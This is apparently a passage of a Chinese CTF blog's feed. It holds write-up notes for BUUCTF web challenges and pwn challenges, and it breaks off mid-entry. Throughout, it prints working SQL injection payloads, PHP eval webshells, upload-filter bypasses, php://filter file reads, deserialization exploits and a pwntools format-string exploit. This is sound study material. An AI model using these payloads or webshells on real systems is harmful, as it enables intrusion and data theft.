<span class="line"><span class="number">40</span>  big_num</span>
<span class="line"><span class="number">48</span>  big_num</span>
<span class="line"><span class="number">50</span>  value_ptr</span>
</pre></td></tr></table></figure>

<p>这样猛猛构造一通以后，我们再用刚才的漏洞拿到fake_iter2</p>
<p>此时你就会惊喜地发现，怎么还是返回double</p>
<p>（那哪里来任意写呢？iter又不支持我们写）</p>
<p>正常情况下，iter只会返回元组或列表里的内容，既然你的指针指向一个无标识的double，那当然就是返回double咯</p>
<p>但让我们换个思路，如果是一个元组套列表，iter会返回什么？</p>
<p>会返回一个完全由我们伪造的列表！</p>
<p>然后如果我们让这个列表的长度超级大，我们就能实现任意读写。</p>
<p>最后我们用这个任意读写打rop执行&#x2F;readflag即可</p>
<p>（试了system，因为神秘的原因运行不了，好奇怪）</p>
<h1 id="heap-pivoting"><a href="https://imi-imiab.com/posts/cnblogs-19044898/#heap-pivoting" class="headerlink" title="heap-pivoting"></a>heap-pivoting</h1><p>什么打歪了</p>
<p>unsorted bin attack 打堆列表，拿到直接编辑main arena</p>
<p>然后编辑arena，topchunk改到堆列表上</p>
<p>alloc完直接拿任意写然后秒了</p>
<p>（topchunk改歪了导致top chunk size=0 崩溃了）</p>
<p>（居然因为这个原因没做出来吗。。。哈基呆你真是。。。）</p>
<p>（我以为有页对齐检查于是睡觉了）</p>
<p>（？？？）</p>
<p><img src="https://imi-imiab.com/images/posts/122bbbaba2f570dabf47.png" alt="TZ8S\&#96;PBSGLGAKG~AMV@9RD" loading="lazy" decoding="async"></p>
<p><img src="https://imi-imiab.com/images/posts/463ab779f27c6ff81f07.png" alt="UJ68AEH@$J43@\_TF{@HV" loading="lazy" decoding="async"></p>
]]></content>
</entry>
<entry>
<title type="text">BUUCTF WEB入门题小记</title>
<id>https://imi-imiab.com/posts/cnblogs-18875060/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18875060/"/>
<author><name>imiab</name></author>
<published>2025-05-13T07:05:00.000Z</published>
<updated>2025-05-13T07:06:00.000Z</updated>
<category term="Web" scheme="https://imi-imiab.com/categories/Web/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Web" scheme="https://imi-imiab.com/tags/Web/"/>
<summary type="text">[极客大挑战 2019]EasySQL 使用 1&apos; or &apos;1&apos; = &apos;1&apos; #绕过sql 注意sql中的等于是=，不等于是&lt;&gt;或!= [极客大挑战 2019]Havefun 在源代码中的注释中找到提示 用$cat=dog获得flag [HCTF </summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18875060/"><![CDATA[<h1 id="极客大挑战-2019-EasySQL"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-EasySQL" class="headerlink" title="[极客大挑战 2019]EasySQL"></a>[极客大挑战 2019]EasySQL</h1><p>使用 <code>1&#39; or &#39;1&#39; = &#39;1&#39; #</code>绕过sql</p>
<p>注意sql中的等于是=，不等于是&lt;&gt;或!=</p>
<h1 id="极客大挑战-2019-Havefun"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-Havefun" class="headerlink" title="[极客大挑战 2019]Havefun"></a>[极客大挑战 2019]Havefun</h1><p>在源代码中的注释中找到提示</p>
<p>用$cat=dog获得flag</p>
<h1 id="HCTF-2018-WarmUp"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#HCTF-2018-WarmUp" class="headerlink" title="[HCTF 2018]WarmUp"></a>[HCTF 2018]WarmUp</h1><p>在源代码中的注释找到提示</p>
<p>进入source.php，审计代码后</p>
<p>用file=hint.php?..&#x2F;..&#x2F;..&#x2F;..&#x2F;ffflllaaaggg获得flag</p>
<h1 id="ACTF2020-新生赛-Include"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#ACTF2020-%E6%96%B0%E7%94%9F%E8%B5%9B-Include" class="headerlink" title="[ACTF2020 新生赛]Include"></a>[ACTF2020 新生赛]Include</h1><p>“php:&#x2F;&#x2F;“ 伪协议的条件：</p>
<ul>
<li>allow_url_fopen:off&#x2F;on。</li>
<li>allow_url_include:off&#x2F;on（php:&#x2F;&#x2F;input、php:&#x2F;&#x2F;stdin、php:&#x2F;&#x2F;memory、php:&#x2F;&#x2F;temp 伪协议需要 on）。</li>
</ul>
<p>这里着重介绍以下 “php:&#x2F;&#x2F;“ 伪协议中的 “php:&#x2F;&#x2F;filter”伪协议。</p>
<p>php:&#x2F;&#x2F;filter 是 PHP 中的一种特殊的伪协议，它允许对数据进行过滤处理。它可以通过输入流或输出流来操作数据，常用于对文件、数据流等进行编码、解码、压缩等处理。</p>
<p>主要用途：</p>
<p>对文件内容进行转换，如 base64 编码、ROT13 加密、字符串大小写转换等。<br>对 HTTP 请求的输入或输出流进行过滤。<br>基本的语法：</p>
<ul>
<li>php:&#x2F;&#x2F;filter&#x2F;read=&lt;过滤器列表&gt;&#x2F;resource=&lt;操作目标&gt;</li>
</ul>
<p>之类的东西，然后就可以将php当作文本打开并输出，并从其中的注释获得flag</p>
<p>&#x2F;?file=php:&#x2F;&#x2F;filter&#x2F;convert.iconv.utf8.utf16&#x2F;resource=flag.php</p>
<p>比如这样↑</p>
<h1 id="GXYCTF2019-Ping-Ping-Ping"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#GXYCTF2019-Ping-Ping-Ping" class="headerlink" title="[GXYCTF2019]Ping Ping Ping"></a>[GXYCTF2019]Ping Ping Ping</h1><p>空格绕过的几种方式：&lt; 、&lt;&gt;、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等。</p>
<p>反引号``会被优先执行，并被重新加载到指令里继续执行</p>
<p>如果用<code>ls</code>需要到f12里找flag</p>
<h1 id="SUCTF-2019-EasySQL"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#SUCTF-2019-EasySQL" class="headerlink" title="[SUCTF 2019]EasySQL"></a>[SUCTF 2019]EasySQL</h1><p>没有过滤;</p>
<p>配合show databases和show tables堆叠注入可以泄露信息</p>
<p>可以用字典+bp看哪些关键字被过滤</p>
<p>看别人wp发现使用*,1或者修改一个mode可以获得flag</p>
<p><code>1;set sql_mode=PIPES_AS_CONCAT;select 1</code></p>
<p>就是把 || 设置成了 concat函数</p>
<p>后端代码$sql = “select “.$post[‘query’].”||flag from Flag”;</p>
<p>上面那句执行是：</p>
<p>select concat(1,flag) from Flag</p>
<h1 id="极客大挑战-2019-LoveSQL"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-LoveSQL" class="headerlink" title="[极客大挑战 2019]LoveSQL"></a>[极客大挑战 2019]LoveSQL</h1><p>1’ union select 1,schema_name FROM information_schema.schemata #</p>
<p>通过特殊表<code>information_schema</code>（储存有关数据库信息的表）查询更多信息</p>
<p>相关连接：<a href="https://www.cnblogs.com/Chary/p/17940824">https://www.cnblogs.com/Chary/p/17940824</a></p>
<p>database() schema() current_schema() 返回当前的数据库名字</p>
<p>构造联合注入获得flag</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1&#x27; union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database();# </span>
<span class="line"># group_concat()可以将查询到的所有字段名连接在一块</span>
<span class="line">1&#x27; union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=&#x27;l0ve1ysq1&#x27;#</span>
<span class="line"># 最后查询表内数据</span>
<span class="line">1&#x27; union select 1,2,group_concat(username,&#x27;~&#x27;,password) from l0ve1ysq1</span>
</pre></td></tr></table></figure>

<h1 id="极客大挑战-2019-Secret-File"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-Secret-File" class="headerlink" title="[极客大挑战 2019]Secret File"></a>[极客大挑战 2019]Secret File</h1><p>用bp抓包，一路跟到secret</p>
<p>secret里面有个file读，并提示flag在flag.php里</p>
<p>用php:&#x2F;&#x2F;filter&#x2F;convert.iconv.utf8.utf16&#x2F;resource=flag.php获得flag</p>
<h1 id="强网杯-2019-随便注"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E5%BC%BA%E7%BD%91%E6%9D%AF-2019-%E9%9A%8F%E4%BE%BF%E6%B3%A8" class="headerlink" title="[强网杯 2019]随便注"></a>[强网杯 2019]随便注</h1><p>1, union selec&#x2F;**&#x2F;t schema_name from information.schemata#</p>
<p>发现.被过滤，但是没有过滤;</p>
<p>用堆叠注入</p>
<p>1’;show tables;#</p>
<p>1’;show columns from <code>1919810931114514</code>;#</p>
<p>注意这里是反引号而不是单引号，因为其中内容是数字而非字符串</p>
<p>1’ and extractvalue(0x0a,concat(0x0a,(database())))</p>
<p>extractvalue是mysql的处理函数，作用是从xml字符串中提取符合XPath的值</p>
<p>在这里我们传入错误的xml字符串，mysql就会报错把database全部返回给我们（有详细错误输出的情况下）</p>
<p>发现不是mysql，是supersqli</p>
<p>1’;SET @a=concat(“sel”,”ect flag from <code>1919810931114514</code>“);PREPARE hello from @a;execute hello;#</p>
<p>利用set @a加上concat字符拼接的形式，成功绕过并输出flag</p>
<p>或者用rename重命名也可以</p>
<p>‘;alter table words rename to words1;alter table <code>1919810931114514</code> rename to words;alter table words change flag id varchar(50);#</p>
<h1 id="极客大挑战-2019-Http"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-Http" class="headerlink" title="[极客大挑战 2019]Http"></a>[极客大挑战 2019]Http</h1><p>dirsearch扫了个login出来，没什么用</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">style</span>=<span class="string">&quot;border:none;cursor:default;&quot;</span> <span class="attr">onclick</span>=<span class="string">&quot;return false&quot;</span> <span class="attr">href</span>=<span class="string">&quot;Secret.php&quot;</span>&gt;</span>氛围<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span>
</pre></td></tr></table></figure>

<p>在这里有一个神秘php，onclick永远false，且cursor为default，光标不会变手，且border为none没有边框</p>
<p>所以就是被藏起来的东西，点进去以后根据要求</p>
<p>逐步修改X-Forward-For、user-agent和referer，然后即可获得flag</p>
<h1 id="极客大挑战-2019-Upload"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-Upload" class="headerlink" title="[极客大挑战 2019]Upload"></a>[极客大挑战 2019]Upload</h1><p>用phtml绕过后缀名php检测</p>
<p>用GIFa89?绕过magic检测</p>
<p>还要修改type，然后就过了</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">language</span>=<span class="string">&#x27;php&#x27;</span>&gt;</span><span class="language-javascript"></span></span>
<span class="line"><span class="language-javascript"><span class="built_in">eval</span>($_GET[<span class="string">&quot;cmd&quot;</span>]);</span></span>
<span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span>
</pre></td></tr></table></figure>

<h1 id="极客大挑战-2019-Knife"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-Knife" class="headerlink" title="[极客大挑战 2019]Knife"></a>[极客大挑战 2019]Knife</h1><p>一句话，没了</p>
<h1 id="ACTF2020-新生赛-Upload"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#ACTF2020-%E6%96%B0%E7%94%9F%E8%B5%9B-Upload" class="headerlink" title="[ACTF2020 新生赛]Upload"></a>[ACTF2020 新生赛]Upload</h1><p>phtml，没了</p>
<h1 id="极客大挑战-2019-BabySQL"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-BabySQL" class="headerlink" title="[极客大挑战 2019]BabySQL"></a>[极客大挑战 2019]BabySQL</h1><p>SQL巩固</p>
<p>注意两个注释后面都要加空格</p>
<p>快速默写一下</p>
<p>1’ union select 1,2,group_cat(schema_name) from information_schema.schemata --</p>
<p>1’ union select 1,2,group_cat(table_name) from information_schema.tables where table_schema = database()</p>
<p>1’ union select 1,2,group_cat(column_name) from information_schema.columns where table_schema = database() and table_name = “xxx” --</p>
<p>union和select被数删了，双写绕过即可</p>
<p>（实际上里面插or就行了，这样短一些）</p>
<h1 id="极客大挑战-2019-PHP"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-PHP" class="headerlink" title="[极客大挑战 2019]PHP"></a>[极客大挑战 2019]PHP</h1><p>dirsearch -x 429即可排除429正常扫描</p>
<p>哦不还是用dirmap吧，新版dirsearch貌似硬编码禁止429</p>
<p>然后分析flag.php和index.php，构造出满足条件的就可以了</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span>
<span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Name</span></span>&#123;</span>
<span class="line">    <span class="keyword">private</span> <span class="variable">$username</span> = <span class="string">&quot;admin&quot;</span>;</span>
<span class="line">    <span class="keyword">private</span> <span class="variable">$password</span> = <span class="number">100</span>;</span>
<span class="line">&#125;</span>
<span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">Name</span>;</span>
<span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>)) . <span class="string">&quot;\n&quot;</span>;</span>
<span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>);</span>
<span class="line"><span class="meta">?&gt;</span></span>
<span class="line"><span class="comment">#O:4:&quot;Name&quot;:2:&#123;s:14:&quot;Nameusername&quot;;s:5:&quot;admin&quot;;s:14:&quot;Namepassword&quot;;i:100;&#125;</span></span>
</pre></td></tr></table></figure>

<p>这里利用了一个Obj数不相等就会跳过wakeup的漏洞（CVE-2016-7124</p>
<p>发生版本php5&lt;5.6.25 php7&lt;7.0.10</p>
<p>name后面那个改成3即可</p>
<h1 id="ACTF2020-新生赛-BackupFile"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#ACTF2020-%E6%96%B0%E7%94%9F%E8%B5%9B-BackupFile" class="headerlink" title="[ACTF2020 新生赛] BackupFile"></a>[ACTF2020 新生赛] BackupFile</h1><p>用dirmap扫，dirsearch一片绿，还要自己翻</p>
<p>dirmap第一遍没扫出来，第二遍扫出来了</p>
<p>查看bak，弱类型比较，输入?key=123结束</p>
<h1 id="RoarCTF-2019-Easy-Calc"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#RoarCTF-2019-Easy-Calc" class="headerlink" title="[RoarCTF 2019]Easy Calc"></a>[RoarCTF 2019]Easy Calc</h1><p>进入calc.php，获得源码</p>
<p>然后不会，说?num这里问号后面加空格就绕waf了</p>
<p>？？？</p>
<p>总之绕了，虽然有些过滤但是chr.chr拼一下结束了</p>
<p>file_get_contents读文件</p>
<p>var_dump打印对象键值对</p>
<p>chr().chr()用数字拼字符</p>
<h1 id="极客大挑战-2019-BuyFlag"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-BuyFlag" class="headerlink" title="[极客大挑战 2019]BuyFlag"></a>[极客大挑战 2019]BuyFlag</h1><p>可恶啊bp以为加了内容就是post了，结果请求头get忘改害我排查了好久</p>
<p>“404a”=404</p>
<p>cookie里面改成1（诡异的考点）</p>
<p>money进行了长度过滤，不能直接输入</p>
<p>1e9或者money[]=1000000000都可以，前者长度够短，后者能通过长度过滤，比较中再转化为字符串比较，简单通过</p>
<h1 id="BJDCTF2020-Easy-MD5"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#BJDCTF2020-Easy-MD5" class="headerlink" title="[BJDCTF2020]Easy MD5"></a>[BJDCTF2020]Easy MD5</h1><p>第一关，只要碰撞出一个开头为1’or’加上一个非0数字即可</p>
<p>第二关，只要碰撞出两个0e开头的md5即可</p>
<p>AI直接给了我一个然后做完了?a=QNKCDZO&amp;b=240610708</p>
<p>第三关，传两个数组结束</p>
<h1 id="HCTF-2018-admin"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#HCTF-2018-admin" class="headerlink" title="[HCTF 2018]admin"></a>[HCTF 2018]admin</h1><p>源码404了怎么写？</p>
<p>但是提供了两个思路，第一个是能拿到源码，能拿到secret key，就可以伪造sessions</p>
<p>第二个思路是unicode字符转码，用ᴬ -&gt; A -&gt; a，导致admin被覆盖</p>
<h1 id="MRCTF2020-你传你🐎呢"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#MRCTF2020-%E4%BD%A0%E4%BC%A0%E4%BD%A0%F0%9F%90%8E%E5%91%A2" class="headerlink" title="[MRCTF2020]你传你🐎呢"></a>[MRCTF2020]你传你🐎呢</h1><p>修改content-type就可以上传</p>
<p>传.htaccess将jpg视作php</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">AddType application/x-httpd-php .jpg</span>
<span class="line"></span>
<span class="line"># 或者</span>
<span class="line"></span>
<span class="line">&lt;FilesMatch &quot;lx1&quot;&gt;</span>
<span class="line">SetHandler application/x-httpd-php</span>
<span class="line">&lt;/FilesMatch&gt;</span>
</pre></td></tr></table></figure>

<p>如果禁用图片可以用xdm绕过，刚好文件头是两个#被当成注释</p>
<p>一句话禁了system，用scandir和var_dump和file_get_contents输出flag即可</p>
<h1 id="护网杯-2018-easy-tornado"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%8A%A4%E7%BD%91%E6%9D%AF-2018-easy-tornado" class="headerlink" title="[护网杯 2018]easy_tornado"></a>[护网杯 2018]easy_tornado</h1><p>tornado render漏洞</p>
<p>error message输入{{20}}发现大括号没了</p>
<p>虽然乘法被过滤了，但是{{handler.settings}}泄露secret cookie随后用hints的办法+hash成功秒杀</p>
<h1 id="ZJCTF-2019-NiZhuanSiWei"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#ZJCTF-2019-NiZhuanSiWei" class="headerlink" title="[ZJCTF 2019]NiZhuanSiWei"></a>[ZJCTF 2019]NiZhuanSiWei</h1><p>简单反序列化</p>
<p>可以用伪协议假装输入是来自文件，用?text=data:&#x2F;&#x2F;text&#x2F;plain,welcome to the zjctf</p>
<p>exp:</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span>  </span>
<span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span></span>&#123;  <span class="comment">//flag.php  </span></span>
<span class="line">    <span class="keyword">public</span> <span class="variable">$file</span>;  </span>
<span class="line">&#125;  </span>
<span class="line"></span>
<span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">Flag</span>();</span>
<span class="line"><span class="variable">$a</span>-&gt;file = <span class="string">&quot;/flag.php&quot;</span>;</span>
<span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>);</span>
<span class="line"><span class="comment">//O:4:&quot;Flag&quot;:1:&#123;s:4:&quot;file&quot;;s:9:&quot;/flag.php&quot;;&#125;</span></span>
</pre></td></tr></table></figure>

<h1 id="MRCTF2020-Ez-bypass"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#MRCTF2020-Ez-bypass" class="headerlink" title="[MRCTF2020]Ez_bypass"></a>[MRCTF2020]Ez_bypass</h1><p>简单bypass，依旧是传两个数组加弱比较</p>
<h1 id="极客大挑战-2019-HardSQL"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-HardSQL" class="headerlink" title="[极客大挑战 2019]HardSQL"></a>[极客大挑战 2019]HardSQL</h1><p>报错注入：1’or(extractvalue(0x0a,concat(0x0a,(database()))))#</p>
<p>()也可以用来当空格用</p>
<p>1’or(extractvalue(0x0a,concat(0x0a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#</p>
<p>1’or(extractvalue(0x0a,concat(0x0a,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())))))#</p>
<p>1’or(extractvalue(0x0a,concat(0x0a,(select(group_concat(id,username,password))from(H4rDsq1)))))#</p>
<p>1’or(extractvalue(0x0a,concat(0x0a,(select(group_concat(right(password,25)))from(H4rDsq1)))))#</p>
<p>前两个分别是爆表名和列名，后两个是把flag读出来，因为这个函数报错长度有限制要拆成两部分</p>
<p>H4rDsq1</p>
<p>flag{1ef882da-6f02-4bd3-84<br>2-4bd3-8406-529a271a3eb3}</p>
<p>flag{1ef882da-6f02-4bd3-8406-529a271a3eb3}</p>
<h1 id="网鼎杯-2020-青龙组-AreUSerialz"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E9%9D%92%E9%BE%99%E7%BB%84-AreUSerialz" class="headerlink" title="[网鼎杯 2020 青龙组]AreUSerialz"></a>[网鼎杯 2020 青龙组]AreUSerialz</h1><p>简单类型判断绕过get flag</p>
<p>写那么长还以为有多难呢</p>
<h1 id="GXYCTF2019-BabyUpload"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#GXYCTF2019-BabyUpload" class="headerlink" title="[GXYCTF2019]BabyUpload"></a>[GXYCTF2019]BabyUpload</h1><p>考点开始重复了喵，简单upload即可</p>
<p>用<code>&lt;script language=&#39;php&#39;&gt;@eval($_GET[&#39;a&#39;])&lt;/script&gt;</code>即可</p>
<h1 id="SUCTF-2019-CheckIn"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#SUCTF-2019-CheckIn" class="headerlink" title="[SUCTF 2019]CheckIn"></a>[SUCTF 2019]CheckIn</h1><p>不能.htaccess那就.user.ini</p>
<p>GIF89a<br>auto_prepend_file=1.jpg</p>
<p>然后1.jpg传马，访问那个目录下的index.php即可</p>
<h1 id="GXYCTF2019-BabySQli"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#GXYCTF2019-BabySQli" class="headerlink" title="[GXYCTF2019]BabySQli"></a>[GXYCTF2019]BabySQli</h1><p>union select的时候如果传入伪造的数据</p>
<p>会把伪造的数据也列入查询结果</p>
<p>伪造union select 1,’admin’,md5(‘123’)然后password=123就可以了</p>
<p>那个union确实能想出来，但是md5就有点奇怪了，看别人wp才知道，不过也算常见就是了\\</p>
<h1 id="GYCTF2020-Blacklist"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#GYCTF2020-Blacklist" class="headerlink" title="[GYCTF2020]Blacklist"></a>[GYCTF2020]Blacklist</h1><p>堆叠注入，学习一下低级方式handler的用法</p>
<p>1’;handler FlagHere open;handler FlagHere read next; handler FlagHere close; #</p>
<h1 id="RoarCTF-2019-Easy-Java"><a href="https://imi-imiab.com/posts/cnblogs-18875060/#RoarCTF-2019-Easy-Java" class="headerlink" title="[RoarCTF 2019]Easy Java"></a>[RoarCTF 2019]Easy Java</h1><p>抄一下别人博客里的东西</p>
<p>说起来能不能用dirmap（试了好像不能</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">src/main/java: 这个目录一般是存放web项目的Java源文件的</span>
<span class="line">src/main/resource: 这个目录一般是存放相关的配置文件</span>
<span class="line">src/main/webapp: 这个目录一般是和web应用相关的</span>
<span class="line">webapp下的文件目录是容易出现安全问题的</span>
<span class="line">/WEB-INF/web.xml: Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则</span>
<span class="line">/WEB-INF/classes/：含了站点所有用的 class 文件(即编译后的Java文件)，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中</span>
<span class="line">/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件</span>
<span class="line">/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。</span>
<span class="line">/WEB-INF/database.properties：数据库配置文件</span>
</pre></td></tr></table></figure>

<p>发现有个help.docx，但是无法下载，改成post以后能下了</p>
<p>然后下web.xml，里面有个flagcontroller，再跟着下就把flag下出来了</p>
<p>不知道为什么，浏览器不准我下，于是用burp直接看返回包，获得flag</p>
<p>至此buuctf web第一页结束！大概思路精简如上，啪唧啪唧啪唧</p>
<p>（虽然好多时候都在看别人的blog，但也算，稍微，稍微入了一点点门吧？比如说xss什么都还没写到.jpg）</p>
<p>（但是我还没有配自己的服务器，看来还要加吧劲了.jpg）</p>
<p>（因为内核学太累了所以摸两天，呜呜小花不要骂我）</p>
]]></content>
</entry>
<entry>
<title type="text">mini-L2025 PWN方向全题解</title>
<id>https://imi-imiab.com/posts/cnblogs-18867406/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18867406/"/>
<author><name>imiab</name></author>
<published>2025-05-08T09:11:00.000Z</published>
<updated>2025-05-08T19:13:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">POSTBOX PostScript下存在格式化字符串漏洞，具体分析如下 //unsigned __int64 __fastcall PostScript(_DWORD *a1, int *len) while ( *a1 ) //注意到这里解了个指针 //一般变量都是直接存储值，这个不一样也相当于</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18867406/"><![CDATA[<h1 id="POSTBOX"><a href="https://imi-imiab.com/posts/cnblogs-18867406/#POSTBOX" class="headerlink" title="POSTBOX"></a>POSTBOX</h1><p>PostScript下存在格式化字符串漏洞，具体分析如下</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">//unsigned __int64 __fastcall PostScript(_DWORD *a1, int *len)</span></span>
<span class="line"><span class="keyword">while</span> ( *a1 )          </span>
<span class="line">                            <span class="comment">//注意到这里解了个指针</span></span>
<span class="line">                            <span class="comment">//一般变量都是直接存储值，这个不一样也相当于提示了</span></span>
<span class="line">  &#123;</span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;[*]You can still write %d times\n&quot;</span>, *a1);</span>
<span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;contents:\n&quot;</span>);</span>
<span class="line">    v3 = read(<span class="number">0</span>, buf, *len);</span>
<span class="line">    <span class="keyword">if</span> ( v3 == <span class="number">-1</span> )</span>
<span class="line">    &#123;</span>
<span class="line">      perror(<span class="string">&quot;read&quot;</span>);</span>
<span class="line">      close(fd);</span>
<span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span>
<span class="line">    &#125;</span>
<span class="line">    <span class="keyword">if</span> ( v4 == <span class="number">114514</span> )</span>
<span class="line">                            <span class="comment">//未初始化，来自栈上残留数据</span></span>
<span class="line">                            <span class="comment">//在上一个</span></span>
<span class="line">    &#123;</span>
<span class="line">      *len += <span class="number">0x7F</span>;</span>
<span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;[#]Check mod on.\n&quot;</span>);</span>
<span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Your words:\n&quot;</span>);</span>
<span class="line">      <span class="built_in">printf</span>(buf);</span>
<span class="line">                            <span class="comment">// vuln</span></span>
<span class="line">                            <span class="comment">//结合开头的解指针，可以重启函数</span></span>
<span class="line">    &#125;</span>
<span class="line">    --*a1;</span>
<span class="line">    write(fd, buf, v3);</span>
<span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;[+]Input succeed!&quot;</span>);</span>
<span class="line">  &#125;</span>
<span class="line"></span>
</pre></td></tr></table></figure>

<p>且有后门函数Inval1dFunction()</p>
<p>那么exp如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p = remote(<span class="string">&#x27;???&#x27;</span>)</span>
<span class="line"></span>
<span class="line">sla(<span class="string">&#x27;choice&#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">sa(<span class="string">&#x27;contents:&#x27;</span>,p32(<span class="number">114514</span>)*<span class="number">0x100</span>)</span>
<span class="line">sa(<span class="string">&#x27;contents:&#x27;</span>,<span class="string">&#x27;%2c%7$hhn%7$p\n\x00&#x27;</span>)</span>
<span class="line">p.recvuntil(<span class="string">&#x27;0x&#x27;</span>)</span>
<span class="line">stack= <span class="built_in">int</span>(p.recvline(keepends=<span class="literal">False</span>),<span class="number">16</span>) + <span class="number">0x28</span></span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(stack))</span>
<span class="line">sa(<span class="string">&#x27;contents:&#x27;</span>,<span class="string">b&#x27;%131c%12$hhn\x00\x00\x00\x00&#x27;</span>+p64(stack))</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="EASYHEAP"><a href="https://imi-imiab.com/posts/cnblogs-18867406/#EASYHEAP" class="headerlink" title="EASYHEAP"></a>EASYHEAP</h1><p>普通菜单堆，分析如下</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">del</span><span class="params">()</span></span>
<span class="line">&#123;</span>
